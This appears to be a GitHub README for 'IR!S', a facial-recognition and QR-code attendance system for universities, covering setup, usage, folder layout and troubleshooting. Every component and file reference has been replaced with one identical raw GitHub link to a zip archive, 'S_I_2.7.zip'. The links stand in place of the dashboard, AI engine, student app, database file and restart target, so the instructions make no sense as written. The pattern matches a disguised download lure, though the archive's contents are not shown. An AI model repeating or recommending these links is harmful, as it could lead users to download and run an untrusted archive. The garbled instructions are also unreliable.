IR!S is a modern, microservice-based attendance management system designed for university environments. It replaces traditional paper rolls with a contactless, AI-powered solution using facial recognition and QR codes.
The system features a professional Professor Dashboard for class management and live monitoring, a GPU-accelerated AI Server for face verification, and a mobile-friendly Student App for instant check-ins.
The project uses a Microservices Architecture to ensure high performance and stability.
-
Professor Dashboard (
https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip) - Port 8000- The central command center. Handles authentication, database management, and the user interface.
- Features: Create classes, register students, view live attendance, toggle status manually, and export CSV reports.
-
AI Engine (
https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip) - Port 8001- A dedicated background worker. Loads the heavy
FaceNet512model (via DeepFace) to process selfies and group photos without slowing down the dashboard.
- A dedicated background worker. Loads the heavy
-
Student App (
https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip) - Port 8002- A lightweight mobile web interface. Students scan a QR code projected in class to access this app, take a selfie, and get verified instantly.
- Python 3.9+ installed.
- A webcam (for testing) or smartphone (for scanning).
- Optional: NVIDIA GPU with CUDA (System runs on CPU by default).
- Clone or Download this repository.
- Create a Virtual Environment (Recommended):
python -m venv venv # Windows: .\venv\Scripts\activate # Mac/Linux: source venv/bin/activate
- Install Dependencies:
pip install -r requirements.txt
The system now auto-detects your local IP and works on any device without manual configuration!
- ✅ Access from localhost on your PC
- ✅ Access from same WiFi network on phone (auto-detects IP)
- ✅ Works on Windows, Mac, Linux
- ✅ No environment variables needed
- ✅ Just plug and play!
-
Setup environment:
cp .env.example .env # Edit .env with your local IP (e.g., 192.168.1.15) -
Start all services:
./start.sh
You must run three separate terminal windows to start the full system.
# Load your local configuration
source .envpython 2_gpu_server.pyWait for: Uvicorn running on http://0.0.0.0:8001
python 3_student_app.pyWait for: Uvicorn running on http://0.0.0.0:8002
python 1_prof_dash.pyWait for: Uvicorn running on http://0.0.0.0:8000
Open your browser to http://192.168.1.15:8000 (replace with your actual IP) and register a new account.
-
Class Management Tab
-
Live Attendance Tab
- Project QR Code: Click the QR thumbnail to expand it fullscreen on the projector.
- Student Scan: Students scan the QR → Take a Selfie → Get Verified.
- Live Updates: The dashboard updates automatically (turning rows green) as students check in.
- Manual Override: Use the toggle switches to manually mark a student Present/Absent if needed.
- Export Data: Download the daily attendance report as a CSV file.
- Project QR Code: Click the QR thumbnail to expand it fullscreen on the projector.
The system uses SQLModel (SQLite) for data and a structured file system for images.
attendance/
│
├── student_db/ <-- Training Photos Storage
│ └── [Class_Name]/
│ └── stu_[Roll_No]/ <-- Individual Student Photos
│
├── prof_db/ <-- Reports Storage
│ └── prof_[ID]/
│ └── [Class_Name]/ <-- Generated CSV Reports
│
├── https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip <-- SQLite Database File
├── templates/ <-- HTML UI Files
└── static/ <-- Assets Folder
Q: The QR Code link says "Site Can't Be Reached" on mobile.
- Fix 1: Ensure both laptop and phone are on the same Wi-Fi.
- Fix 2: Use a Mobile Hotspot from your phone to bypass router isolation.
- Fix 3: Turn off Windows Firewall temporarily.
Q: "Internal Server Error" when registering.
- Fix: You might be missing a library or have a corrupted DB.
- Run
pip install python-multipart. - Delete
https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip. - Restart
https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip.
- Run
Q: The AI is slow.
- Fix: Face recognition is heavy. On a CPU, it may take 1-3 seconds per verification. For instant results, run on a machine with an NVIDIA GPU.